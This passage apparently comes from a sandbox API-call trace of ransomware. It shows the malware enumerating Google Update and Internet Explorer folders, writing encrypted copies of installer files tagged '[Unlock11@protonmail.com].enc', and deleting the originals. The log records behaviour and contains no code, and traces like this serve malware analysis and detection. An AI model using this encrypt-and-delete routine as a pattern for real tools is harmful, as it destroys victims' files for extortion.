dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0220.188] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0220.188] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0 [0220.188] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0220.188] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79")) returned 0x10 [0220.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0220.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0220.189] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0220.189] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0220.189] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0220.190] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0 [0220.190] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0220.190] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe")) returned 0x20 [0220.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f470 | out: hHeap=0x2ad0000) returned 1 [0220.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0220.194] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x9bada4*="61.0.3163.79_chrome_installer.exe") returned 0x84 [0220.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0220.194] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868)) returned 1 [0220.194] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36713cc | out: pbBuffer=0x36713cc) returned 1 [0220.195] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0220.195] GetFileType (hFile=0x334) returned 0x1 [0220.195] GetFileType (hFile=0x334) returned 0x1 [0220.195] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.196] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.196] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.196] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.196] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.196] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.196] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.196] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0220.198] GetFileType (hFile=0x39c) returned 0x1 [0220.198] GetFileType (hFile=0x39c) returned 0x1 [0220.199] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0220.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0220.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0224.284] CloseHandle (hObject=0x39c) returned 1 [0224.284] CloseHandle (hObject=0x334) returned 1 [0224.285] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe")) returned 1 [0224.290] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0224.291] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0224.291] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 1 [0224.291] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0 [0224.291] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0224.291] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}")) returned 0x10 [0224.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0224.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0224.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0224.292] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0224.292] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0224.292] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0224.293] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0 [0224.293] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0224.293] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe")) returned 0x20 [0224.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbc10 | out: hHeap=0x2ad0000) returned 1 [0224.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0224.293] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x9bada4*="61.0.3163.79_chrome_installer.exe") returned 0x76 [0224.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0224.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0224.294] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868)) returned 1 [0224.294] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e1c | out: pbBuffer=0x3671e1c) returned 1 [0224.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0224.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0224.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0224.295] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0224.295] GetFileType (hFile=0x334) returned 0x1 [0224.295] GetFileType (hFile=0x334) returned 0x1 [0224.295] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0224.296] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0224.296] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0224.296] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0224.296] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0224.296] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0224.296] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0224.296] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0224.298] GetFileType (hFile=0x39c) returned 0x1 [0224.298] GetFileType (hFile=0x39c) returned 0x1 [0224.298] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0224.298] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0224.298] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0224.299] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0224.299] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0224.299] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0224.299] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.902] CloseHandle (hObject=0x39c) returned 1 [0228.903] CloseHandle (hObject=0x334) returned 1 [0228.903] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe")) returned 1 [0228.947] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd19d606, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd19d606, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0228.947] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd19d606, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd19d606, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc12f0c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22251360, ftCreationTime.dwHighDateTime=0x1d4ca95, ftLastAccessTime.dwLowDateTime=0x3766d890, ftLastAccessTime.dwHighDateTime=0x1d50441, ftLastWriteTime.dwLowDateTime=0x3766d890, ftLastWriteTime.dwHighDateTime=0x1d50441, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="experiments manage.exe", cAlternateFileName="EXPERI~1.EXE")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9523afd3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9523afd3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9523afd3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="ie9props.propdesc", cAlternateFileName="")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14fb6499, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x75e00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0228.948] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95214d68, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95214d68, 